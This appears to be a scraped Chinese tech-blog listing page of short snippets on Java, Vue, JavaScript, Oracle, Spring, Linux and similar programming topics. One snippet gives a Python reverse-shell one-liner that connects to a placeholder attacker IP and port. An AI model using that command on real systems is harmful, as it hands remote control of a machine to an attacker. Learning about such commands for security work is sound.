- AAC / G711A / PCM 音频格式解析
孤独冰刃
音频编码解码
Android利用AudioTrack录制和播放PCM格式音频:publicclassPCMTalk{privateAudioRecordaudioRecord;privateintsampleRate;privateintchannel;privateByteBufferrecordBuf;privateAudioTracktrack;publicPCMTalk(intsampleRate,in
- JavaScript深入理解与实战:作业6详解
红廉骑士兽
本文还有配套的精品资源,点击获取简介:本次作业深入探讨了JavaScript编程语言的基础语法、函数与闭包、对象与原型链、事件与DOM操作、异步编程、ES6新特性、框架与库的使用、性能优化以及调试与测试。JavaScript在Web开发中扮演关键角色,通过学习上述知识点,学生将能够提升Web应用开发技能,优化代码性能,并进行有效的代码调试与测试。1.JavaScript基础语法介绍与实战1.1Ja
- HtmlEx:HTML高级开发与实战指南
浮华ya
本文还有配套的精品资源,点击获取简介:HTML是创建网页的基础,而"HtmlEx"项目旨在提升开发者的HTML技能。内容包括HTML5新特性,CSS和JavaScript的深入集成,表单元素的使用和验证,多媒体支持,Web组件,SEO优化,无障碍性实践,HTML模板语言使用,以及与后端框架的集成。通过实践讲解,让开发者在网页开发中更加得心应手。1.HTML基本结构与元素1.1HTML文档结构解析H
- Vue2(二)绑定样式、条件渲染、列表渲染、监视数据原理
DogEgg_001
Vue2vue.js前端javascript
目录一、绑定样式1.绑定class样式2.绑定style样式二、条件渲染1.v-show渲染方式2.v-if渲染方式三、列表渲染1.v-for(1)遍历数组*(2)遍历对象*(3)遍历字符串(4)遍历指定次数2.Key原理和作用3.列表过滤4.列表排序四、Vue监测数据变化的原理1.不能监测到变化的情况(1)无法检测通过索引修改数组的操作*(2)无法检测数组和对象的新增2.Vue监测数据的原理(1
- Java线程池任务提交与线程数量变化规则详解
2501_91537435
javajavapython开发语言
Java线程池任务提交与线程数量变化规则详解一、线程池核心参数回顾在深入探讨线程数量变化规则前,我们先回顾线程池的四个核心参数:ThreadPoolExecutorexecutor=newThreadPoolExecutor(corePoolSize,//核心线程数maximumPoolSize,//最大线程数keepAliveTime,//空闲线程存活时间unit,//时间单位workQueue
- Java线程池任务停止机制全面指南:优雅终止与强制中断
Java线程池任务停止机制全面指南:优雅终止与强制中断一、线程池任务停止概述在Java并发编程中,线程池任务的停止是一个需要谨慎处理的问题。不当的任务停止方式可能导致数据不一致、资源泄漏等问题。本文将深入探讨Java线程池中各种任务停止的方法和最佳实践。1.1为什么需要关注任务停止资源管理:避免线程和资源泄漏系统稳定性:防止任务意外中断导致系统状态异常响应性:快速响应系统关闭或配置变更需求数据一致
- vue面试题整理1
weixin_42339193
vue.js前端javascript
一、基础概念题1、Vue响应式原理是什么?如何检测数组变化?Vue的响应式原理主要是通过使用JavaScript的对象属性访问器(getters和setters)、依赖收集(dependencytracking)以及异步更新策略来实现的。以下是其核心概念:数据劫持/代理:Vue2.x使用Object.defineProperty方法将数据对象的所有属性转换为getter/setter形式。当属性被
- Beamer项目技术解析:LaTeX演示文稿制作框架入门指南
宣苓滢Rosa
Beamer项目技术解析:LaTeX演示文稿制作框架入门指南beamerALaTeXclassforproducingpresentationsandslides项目地址:https://gitcode.com/gh_mirrors/be/beamer什么是BeamerBeamer是一个基于LaTeX的演示文稿制作框架,专门用于创建投影仪演示文稿和透明幻灯片。与常见的WYSIWYG(所见即所得)演
- 利用ShadowRoot 实现样式隔离
Helson@lin
javascriptchromedevtools
ShadowRootShadowDOMAPI的ShadowRoot接口是一个DOM子树的根节点,它与文档的主DOM树分开渲染。ShadowRoot的模式——可以是open或者closed。这定义了shadowroot的内部实现是否可被JavaScript访问及修改—也就是说ShadowRoot的特性图片来源:掘金(https://juejin.cn/post/6979489951108825095
- Python3爬虫笔记 -- urllib
Alst0n
PythonPython3urlliburllib.request
urllib库是Python内置的HTTP请求库,不需要额外安装。它包含如下4个模块:request:HTTP请求模块error:异常处理模块parse:提供URL处理方法,包括拆分、解析、合并等robotparser:识别网站等robot.txt文件1、urllib.request发送请求连接URL,获取返回页面的源代码;默认请求方式为GETimporturllib.requestrespons
- JVM核心技术解析
MoneyHacksPro
Java场景面试宝典JavaJVMClassLoading
我是廖志伟,一名Java开发工程师、《Java项目实战——深入理解大型互联网企业通用技术》(基础篇)、(进阶篇)、(架构篇)清华大学出版社签约作家、Java领域优质创作者、CSDN博客专家、阿里云专家博主、51CTO专家博主、产品软文专业写手、技术文章评审老师、技术类问卷调查设计师、幕后大佬社区创始人、开源项目贡献者。拥有多年一线研发和团队管理经验,研究过主流框架的底层源码(Spring、Spri
- C# 讯飞语音唤醒
jones.s
c#
publicpartialclassMainWindow:Window{//导入C/C++的库文件[DllImport("msc_x64.dll",CallingConvention=CallingConvention.Winapi)]publicstaticexternintMSPLogin(stringusername,stringpassword,stringloginParams);[Dl
- linux部署jar项目报错_linux服务器部署jar包以及shell脚本的书写
weixin_39933356
linux部署jar项目报错
背景:记录在linux环境下部署jar程序的过程1部署过程记录1.1程序结构这里的main函数就在DemRest2.java文件中。为了部署方便,要做到以下两点:1在导出的jar包中不包含依赖的jar文件2程序用到的配置文件可以让用户进行自定义,不将其放在jar包中。1.2导出jar包这里导出普通的jar包即可。为了方便传输,只导出必须的程序文件。在jar包导出后,进入导出的jar包中,将配置文件
- linux替换war包中的文件,Linux zip与unzip命令:替换war包中的某个文件
祝峰
linux替换war包中的文件
原本,想用jar命令来快速替换war包的文件的,可是,发现Ubuntu中没有装Java,懒癌发做,遂使用zip与unzip命令代替。appzip:压缩命令ide格式:zip[-选项]*.war要压缩的文件例子:zip-mapp.war/WEB-INF/classes/com/app/business/service/platform/impl/abc.classspa选项:orm-m:不检查而替换
- flutter结合ai工具(其他语言通用)
程一个大前端
flutter人工智能
一、为什么Flutter开发者需要免费AI工具?1.减少重复性编码Flutter开发中,UI组件、网络请求、状态管理等代码高度重复,AI可自动生成这些代码。示例:输入"创建一个MaterialDesign风格的登录页面",AI工具能生成完整代码,减少手动编写时间2。2.加速调试与错误修复AI可分析运行时错误,提供修复建议,甚至自动修复常见问题。案例:当Dart代码出现NullPointerExce
- 使用 Python 实现反弹 shell
suanfa_student
pythonchrome开发语言
使用Python实现反弹shell如果目标系统有Python环境,可以使用以下Python命令反弹shell:python-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的IP地址",端口号));os.dup2(s.fileno(),0);os.dup2(s.
- 外观模式 - Flutter中的一键操作大师,复杂功能的极简入口!
明似水
flutter外观模式flutterjavascript
痛点场景:多步骤的用户注册流程假设你的应用需要处理以下注册步骤:验证邮箱格式检查密码强度调用注册API保存用户Token初始化用户配置同步基础数据发送欢迎邮件传统实现方式:FutureregisterUser(Stringemail,Stringpassword)async{//1.验证邮箱if(!EmailValidator.validate(email)){throwInvalidEmailE
- 详细介绍python中的模块、包、库之间的区别和联系
Melody.
python开发语言
在Python中,模块(Module)、包(Package)和库(Library)是三个重要的概念,它们用于组织代码和实现代码复用。下面详细解释这三个概念:1.模块(Module)定义:一个模块就是一个以.py为后缀的Python文件。这个文件可以包含函数、类、变量以及可执行的代码。作用:模块用于将相关的代码组织在一个文件中,便于管理和重用。使用:通过import语句导入模块,然后使用模块名加点操
- 解决getSubject is supported only if a security manager is allowed
使用JDK23后报错getSubjectissupportedonlyifasecuritymanagerisallowed,解决方法:启动java时添加参数-Djava.security.manager=allow官方文档说明:MigratingfromtheDeprecated-for-RemovalMethodsSubject::getSubjectandSubject::doAstoSub
- 【Ruby on Rails问题】publish_name.rb文件中定义的变量显示没有定义NameError: uninitialized constant DB_CLASS
喵宁一
平时遇到的小问题rubyonrailspublish_name
在rails项目中,config/initializers/publish_name.rb文件常用来定义的全局变量、全局常量。但是我们虽然在publish_name.rb文件中定义了常量,但是还是显示没有定义。来看一下解决方法。问题描述:在publish_name.rb文件中定义了变量DB_CLASSDB_CLASS={}运行项目的时候报错NameError:uninitializedconsta
- SDL渲染RGB数据到QT的控件中通过定时器刷新
cpp文件:#include"sdlqtrgb.h"#includestaticSDL_Window*sdl_win=NULL;staticSDL_Renderer*sdl_render=NULL;staticSDL_Texture*sdl_texture=NULL;staticintsdl_width=0;staticintsdl_height=0;staticunsignedchar*rgb=
- 关于 java:8. Java 内存模型与 JVM 基础
shenyan~
javajvm开发语言
一、堆Java堆是JVM中所有线程共享的运行时内存区域,用于存放所有对象实例、数组以及类的实例字段值。在Java中:Stringstr=newString("abc");newString("abc")创建的对象就分配在堆中。1.1堆的特点特性说明共享区域所有线程共享堆GC管理垃圾回收器对堆管理最频繁分代模型为提高GC性能,堆被划分为新生代/老年代等区域空间大堆是JVM管理内存中最大的区域慢速堆分
- 黑盒测试用例设计方法
大帅哥zhangyao
测试用例
黑盒测试用例设计方法黑盒测试用例设计方法包括:等价类划分法、边界值分析法、判定表法、因果图法、正交实验法、状态迁移法、流程分析法等。一、测试设计方法1.等价类分析法1.什么是等价类划分法**等价类(EquivalenceClass)**是一种软件测试技术,旨在减少测试用例数量,同时确保测试的全面性。其核心思想是将输入域划分为若干子集,每个子集中的输入条件被认为是等效的。等价类的基本概念:输入域:指
- DataInputStream与InputStream区别
sclibingqing
JAVA
1、DataInputStream类继承了InputStream。也就是说DataInputStream是InputStream的子类。但它们同是实现了DataInput接口。2、DataInputStream比普通的InputStream多一些方法。增加方法如下:publicabstractvoidreadFully(byteabyte0[])throwsIOException;publicab
- Authorization Basic认证 笔记
从未、淡定
javascript前端
Basic认证Basic认证过程简单介绍浏览器请求一个需要认证的网页。服务器向浏览器返回“401Unauthorized(未认证)”状态码。浏览器收到此状态码后,询问用户名和密码。浏览器发送附带认证信息(Authorization头信息)的请求。本次请求得到了文档(用户名密码均正确的情况下)。方案1:header添加Authorization原理说明:stringcode=‘fozzie:fozz
- Java用CompareTo方法实现根据两个或多个属性对对象进行排序
偶遇急雨洗心尘
javajvm开发语言servlet算法
CompareTo方法CompareTo是String类的方法,CompareTo(Objecto1,Objecto2),就是用o1和o2进行比较o1.compateTo(o2)大于0则o1大o1.compateTo(o2)小于0则o2大o1.compateTo(o2)等于0则一样大升序降序升序:publicstaticvoidmain(String[]args){ArrayListlist=ne
- JAVA设计模式之模板模式
偶遇急雨洗心尘
java设计模式开发语言
设计模式设计模式(DesignPattern)是前辈们对代码开发经验的总结,是解决特定问题的一系列套路。它不是语法规定,而是一套用来提高代码可复用性、可维护性、可读性、稳健性以及安全性的解决方案。总体来说设计模式分为三大类:创建型模式,共五种:工厂方法模式、抽象工厂模式、单例模式、建造者模式、原型模式。结构型模式,共七种:适配器模式、装饰器模式、代理模式、外观模式、桥接模式、组合模式、享元模式。行
- Java多线程如何保证线程池里的线程都执行完毕
偶遇急雨洗心尘
javajvm开发语言
背景:项目中为了提高性能常常会引入多线程,当我们使用线程池时有时要满足“当线程池里的线程都执行完毕后才能进行下一步”这种业务场景,例如:当多线程操作一个文件时要保证所有线程都运行完毕才能保证文件的完整;当用多线程给一个对象的多个属性进行赋值时要保证线程都运行完毕才将此对象返回,否则就会出现对象属性不全。实现方式:1、使用isTerminated方法2、使用CountDownLatch3、使用awa
- Java中for循环中用break是跳出内层循环还是外层循环
偶遇急雨洗心尘
java算法jvm数据结构开发语言
背景:我们知道:for循环中常用“continue”跳过当前循环执行下个循环,常用“break”跳出循环,但是在for循环嵌套中break是仅跳出内层循环还是跳出所有循环呢?测试:publicstaticvoidmain(String[]args){for(inti=0;i<5;i++){for(intj=0;j<5;j++){if(j==3){break;}System.out.println(
- Spring boot 注解实现幂等性
夏壹分享
微服务技术体系java数据库spring
1.添加SpringAOP依赖在pom.xml中添加如下依赖:2.创建自定义幂等性注解创建一个新的Java注解类,通过@interface关键字来定义,并可以添加元注解以及属性。/***《像乌鸦一样思考》让孩子学会观察和独立思考!*https://www.sanzhiwa.top/6718.html*/@Retention(RetentionPolicy.RUNTIME)//程序运行时有效@Tar
- PHP,安卓,UI,java,linux视频教程合集
cocos2d-x小菜
javaUIPHPandroidlinux
╔-----------------------------------╗┆
- 各表中的列名必须唯一。在表 'dbo.XXX' 中多次指定了列名 'XXX'。
bozch
.net.net mvc
在.net mvc5中,在执行某一操作的时候,出现了如下错误:
各表中的列名必须唯一。在表 'dbo.XXX' 中多次指定了列名 'XXX'。
经查询当前的操作与错误内容无关,经过对错误信息的排查发现,事故出现在数据库迁移上。
回想过去: 在迁移之前已经对数据库进行了添加字段操作,再次进行迁移插入XXX字段的时候,就会提示如上错误。
&
- Java 对象大小的计算
e200702084
java
Java对象的大小
如何计算一个对象的大小呢?
 
- Mybatis Spring
171815164
mybatis
ApplicationContext ac = new ClassPathXmlApplicationContext("applicationContext.xml");
CustomerService userService = (CustomerService) ac.getBean("customerService");
Customer cust
- JVM 不稳定参数
g21121
jvm
-XX 参数被称为不稳定参数,之所以这么叫是因为此类参数的设置很容易引起JVM 性能上的差异,使JVM 存在极大的不稳定性。当然这是在非合理设置的前提下,如果此类参数设置合理讲大大提高JVM 的性能及稳定性。 可以说“不稳定参数”
- 用户自动登录网站
永夜-极光
用户
1.目标:实现用户登录后,再次登录就自动登录,无需用户名和密码
2.思路:将用户的信息保存为cookie
每次用户访问网站,通过filter拦截所有请求,在filter中读取所有的cookie,如果找到了保存登录信息的cookie,那么在cookie中读取登录信息,然后直接
- centos7 安装后失去win7的引导记录
程序员是怎么炼成的
操作系统
1.使用root身份(必须)打开 /boot/grub2/grub.cfg 2.找到 ### BEGIN /etc/grub.d/30_os-prober ### 在后面添加 menuentry "Windows 7 (loader) (on /dev/sda1)" { 
- Oracle 10g 官方中文安装帮助文档以及Oracle官方中文教程文档下载
aijuans
oracle
Oracle 10g 官方中文安装帮助文档下载:http://download.csdn.net/tag/Oracle%E4%B8%AD%E6%96%87API%EF%BC%8COracle%E4%B8%AD%E6%96%87%E6%96%87%E6%A1%A3%EF%BC%8Coracle%E5%AD%A6%E4%B9%A0%E6%96%87%E6%A1%A3 Oracle 10g 官方中文教程
- JavaEE开源快速开发平台G4Studio_V3.2发布了
無為子
AOPoraclemysqljavaeeG4Studio
我非常高兴地宣布,今天我们最新的JavaEE开源快速开发平台G4Studio_V3.2版本已经正式发布。大家可以通过如下地址下载。
访问G4Studio网站
http://www.g4it.org
G4Studio_V3.2版本变更日志
功能新增
(1).新增了系统右下角滑出提示窗口功能。
(2).新增了文件资源的Zip压缩和解压缩
- Oracle常用的单行函数应用技巧总结
百合不是茶
日期函数转换函数(核心)数字函数通用函数(核心)字符函数
单行函数; 字符函数,数字函数,日期函数,转换函数(核心),通用函数(核心)
一:字符函数:
.UPPER(字符串) 将字符串转为大写
.LOWER (字符串) 将字符串转为小写
.INITCAP(字符串) 将首字母大写
.LENGTH (字符串) 字符串的长度
.REPLACE(字符串,'A','_') 将字符串字符A转换成_
- Mockito异常测试实例
bijian1013
java单元测试mockito
Mockito异常测试实例:
package com.bijian.study;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.when;
import org.junit.Assert;
import org.junit.Test;
import org.mockito.
- GA与量子恒道统计
Bill_chen
JavaScript浏览器百度Google防火墙
前一阵子,统计**网址时,Google Analytics(GA) 和量子恒道统计(也称量子统计),数据有较大的偏差,仔细找相关资料研究了下,总结如下:
为何GA和量子网站统计(量子统计前身为雅虎统计)结果不同?
首先:没有一种网站统计工具能保证百分之百的准确出现该问题可能有以下几个原因:(1)不同的统计分析系统的算法机制不同;(2)统计代码放置的位置和前后
- 【Linux命令三】Top命令
bit1129
linux命令
Linux的Top命令类似于Windows的任务管理器,可以查看当前系统的运行情况,包括CPU、内存的使用情况等。如下是一个Top命令的执行结果:
top - 21:22:04 up 1 day, 23:49, 1 user, load average: 1.10, 1.66, 1.99
Tasks: 202 total, 4 running, 198 sl
- spring四种依赖注入方式
白糖_
spring
平常的java开发中,程序员在某个类中需要依赖其它类的方法,则通常是new一个依赖类再调用类实例的方法,这种开发存在的问题是new的类实例不好统一管理,spring提出了依赖注入的思想,即依赖类不由程序员实例化,而是通过spring容器帮我们new指定实例并且将实例注入到需要该对象的类中。依赖注入的另一种说法是“控制反转”,通俗的理解是:平常我们new一个实例,这个实例的控制权是我
- angular.injector
boyitech
AngularJSAngularJS API
angular.injector
描述: 创建一个injector对象, 调用injector对象的方法可以获得angular的service, 或者用来做依赖注入. 使用方法: angular.injector(modules, [strictDi]) 参数详解: Param Type Details mod
- java-同步访问一个数组Integer[10],生产者不断地往数组放入整数1000,数组满时等待;消费者不断地将数组里面的数置零,数组空时等待
bylijinnan
Integer
public class PC {
/**
* 题目:生产者-消费者。
* 同步访问一个数组Integer[10],生产者不断地往数组放入整数1000,数组满时等待;消费者不断地将数组里面的数置零,数组空时等待。
*/
private static final Integer[] val=new Integer[10];
private static
- 使用Struts2.2.1配置
Chen.H
apachespringWebxmlstruts
Struts2.2.1 需要如下 jar包: commons-fileupload-1.2.1.jar commons-io-1.3.2.jar commons-logging-1.0.4.jar freemarker-2.3.16.jar javassist-3.7.ga.jar ognl-3.0.jar spring.jar
struts2-core-2.2.1.jar struts2-sp
- [职业与教育]青春之歌
comsci
教育
每个人都有自己的青春之歌............但是我要说的却不是青春...
大家如果在自己的职业生涯没有给自己以后创业留一点点机会,仅仅凭学历和人脉关系,是难以在竞争激烈的市场中生存下去的....
&nbs
- oracle连接(join)中使用using关键字
daizj
JOINoraclesqlusing
在oracle连接(join)中使用using关键字
34. View the Exhibit and examine the structure of the ORDERS and ORDER_ITEMS tables.
Evaluate the following SQL statement:
SELECT oi.order_id, product_id, order_date
FRO
- NIO示例
daysinsun
nio
NIO服务端代码:
public class NIOServer {
private Selector selector;
public void startServer(int port) throws IOException {
ServerSocketChannel serverChannel = ServerSocketChannel.open(
- C语言学习homework1
dcj3sjt126com
chomework
0、 课堂练习做完
1、使用sizeof计算出你所知道的所有的类型占用的空间。
int x;
sizeof(x);
sizeof(int);
# include <stdio.h>
int main(void)
{
int x1;
char x2;
double x3;
float x4;
printf(&quo
- select in order by , mysql排序
dcj3sjt126com
mysql
If i select like this:
SELECT id FROM users WHERE id IN(3,4,8,1);
This by default will select users in this order
1,3,4,8,
I would like to select them in the same order that i put IN() values so:
- 页面校验-新建项目
fanxiaolong
页面校验
$(document).ready(
function() {
var flag = true;
$('#changeform').submit(function() {
var projectScValNull = true;
var s ="";
var parent_id = $("#parent_id").v
- Ehcache(02)——ehcache.xml简介
234390216
ehcacheehcache.xml简介
ehcache.xml简介
ehcache.xml文件是用来定义Ehcache的配置信息的,更准确的来说它是定义CacheManager的配置信息的。根据之前我们在《Ehcache简介》一文中对CacheManager的介绍我们知道一切Ehcache的应用都是从CacheManager开始的。在不指定配置信
- junit 4.11中三个新功能
jackyrong
java
junit 4.11中两个新增的功能,首先是注解中可以参数化,比如
import static org.junit.Assert.assertEquals;
import java.util.Arrays;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runn
- 国外程序员爱用苹果Mac电脑的10大理由
php教程分享
windowsPHPunixMicrosoftperl
Mac 在国外很受欢迎,尤其是在 设计/web开发/IT 人员圈子里。普通用户喜欢 Mac 可以理解,毕竟 Mac 设计美观,简单好用,没有病毒。那么为什么专业人士也对 Mac 情有独钟呢?从个人使用经验来看我想有下面几个原因:
1、Mac OS X 是基于 Unix 的
这一点太重要了,尤其是对开发人员,至少对于我来说很重要,这意味着Unix 下一堆好用的工具都可以随手捡到。如果你是个 wi
- 位运算、异或的实际应用
wenjinglian
位运算
一. 位操作基础,用一张表描述位操作符的应用规则并详细解释。
二. 常用位操作小技巧,有判断奇偶、交换两数、变换符号、求绝对值。
三. 位操作与空间压缩,针对筛素数进行空间压缩。
&n
- weblogic部署项目出现的一些问题(持续补充中……)
Everyday都不同
weblogic部署失败
好吧,weblogic的问题确实……
问题一:
org.springframework.beans.factory.BeanDefinitionStoreException: Failed to read candidate component class: URL [zip:E:/weblogic/user_projects/domains/base_domain/serve
- tomcat7性能调优(01)
toknowme
tomcat7
Tomcat优化: 1、最大连接数最大线程等设置
<Connector port="8082" protocol="HTTP/1.1"
useBodyEncodingForURI="t
- PO VO DAO DTO BO TO概念与区别
xp9802
javaDAO设计模式bean领域模型
O/R Mapping 是 Object Relational Mapping(对象关系映射)的缩写。通俗点讲,就是将对象与关系数据库绑定,用对象来表示关系数据。在O/R Mapping的世界里,有两个基本的也是重要的东东需要了解,即VO,PO。
它们的关系应该是相互独立的,一个VO可以只是PO的部分,也可以是多个PO构成,同样也可以等同于一个PO(指的是他们的属性)。这样,PO独立出来,数据持